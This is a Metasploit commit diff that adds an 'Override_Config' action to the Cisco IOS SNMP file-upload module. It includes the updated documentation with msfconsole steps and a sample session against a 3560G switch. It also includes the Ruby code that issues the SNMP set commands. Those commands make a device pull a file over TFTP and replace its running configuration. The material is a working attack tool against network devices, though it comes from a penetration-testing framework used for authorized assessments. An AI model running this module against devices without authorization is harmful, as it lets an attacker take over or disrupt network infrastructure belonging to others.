Land #11690, Add overwrite_config action to cisco_upload_file

master
asoto-r7 2019-04-11 16:05:44 -05:00
commit 513b939e61
No known key found for this signature in database
GPG Key ID: F531810B7FE55396
2 changed files with 113 additions and 23 deletions

View File

@ -3,18 +3,36 @@
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
feature of IOS and many other networking devices, and is part of an administrator functionality.
This functionality can also be used to change their running configuration. This is documented [here](https://www.ciscozine.com/send-cisco-commands-via-snmp/).
A read-write community string is required, as well as a tftp server (metasploit includes one).
The file will be saved to `flash:`.
The default functionality of the module will upload the file and it will be saved to `flash:`.
The `Override_Config` action will override the running configuration of the device and the file will not be saved.
## Verification Steps
Upload_File (Default Action)
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
4. Do: ```set COMMUNITY [read-write snmp]```
5. Do: ```set rhosts [ip]```
6. Do: ```set source [file]```
7. Do: ```run```
5. Do: ```set lhost [your IP address]```
6. Do: ```set rhosts [ip]```
7. Do: ```set source [file]```
8. Do: ```run```
Override_Config
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
4. Do: ```set COMMUNITY [read-write snmp]```
5. Do: ```set lhost [your IP address]```
6. Do: ```set rhosts [ip]```
7. Do: ```set source [file]```
8. Do: ```set action [Override_Config]```
9. Do: ```run```
10. You can **Verify** that the running config has been overridden by using the **auxiliary/scanner/snmp/cisco_config_tftp** module to download the current running config from the device.
## Options
@ -47,3 +65,27 @@ msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
```
### Cisco 3560G switch running IOS 12.2
```
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private`
`COMMUNITY => private`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164`
`LHOST => 10.20.164.164`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config`
`action => Override_Config`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5`
`rhosts => 10.20.205.5`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig`
`source => /root/Desktop/newconfig`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > run`
`[*] Starting TFTP server...`
`[*] Copying file newconfig to 10.20.205.5...`
`[*] Scanned 1 of 1 hosts (100% complete)`
`[*] Providing some time for transfers to complete...`
`[*] Shutting down the TFTP service...`
`[*] Auxiliary module execution completed`
```

View File

@ -13,6 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
'Description' => %q{
This module will copy file to a Cisco IOS device using SNMP and TFTP.
The action Override_Config will override the running config of the Cisco device.
A read-write SNMP community is required. The SNMP community scanner module can
assist in identifying a read-write community. The target must
be able to connect back to the Metasploit system and the use of
@ -20,9 +21,36 @@ class MetasploitModule < Msf::Auxiliary
},
'Author' =>
[
'pello <fropert[at]packetfault.org>'
'pello <fropert[at]packetfault.org>',
'ct5595'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Actions' =>
[
[
'Upload_File',
{
'Description' => 'Upload the file',
'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.',
}
],
[
'Override_Config',
{
'Description' => 'Override the running config',
'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
}
]
],
'DefaultAction' => 'Upload_File'
)
register_options([
OptPath.new('SOURCE', [true, "The filename to upload" ]),
@ -78,17 +106,14 @@ class MetasploitModule < Msf::Auxiliary
begin
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
ciscoFlashCopyCommand = "1.3.6.1.4.1.9.9.10.1.2.1.1.2."
ciscoFlashCopyProtocol = "1.3.6.1.4.1.9.9.10.1.2.1.1.3."
ciscoFlashCopyServerAddress = "1.3.6.1.4.1.9.9.10.1.2.1.1.4."
ciscoFlashCopySourceName = "1.3.6.1.4.1.9.9.10.1.2.1.1.5."
ciscoFlashCopyDestinationName = "1.3.6.1.4.1.9.9.10.1.2.1.1.6."
ciscoFlashCopyEntryStatus = "1.3.6.1.4.1.9.9.10.1.2.1.1.11."
session = rand(255) + 1
snmp = connect_snmp
# OID variables to for checking if the host is alive and if the community is valid
ciscoFlashCopyEntryStatus = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
ciscoFlashCopyCommand = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6))
value = snmp.set(varbind)
@ -98,24 +123,47 @@ class MetasploitModule < Msf::Auxiliary
varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2))
value = snmp.set(varbind)
# If the above line didn't throw an error, the host is alive and the community is valid
print_status("Copying file #{@filename} to #{ip}...")
varbind = SNMP::VarBind.new("#{ciscoFlashCopyProtocol}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
if(action.name == 'Upload_File')
varbind = SNMP::VarBind.new("#{ciscoFlashCopyServerAddress}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopySourceName}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyDestinationName}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
elsif(action.name == 'Override_Config')
varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}" , SNMP::Integer.new(4))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
end
# No need to make noise about timeouts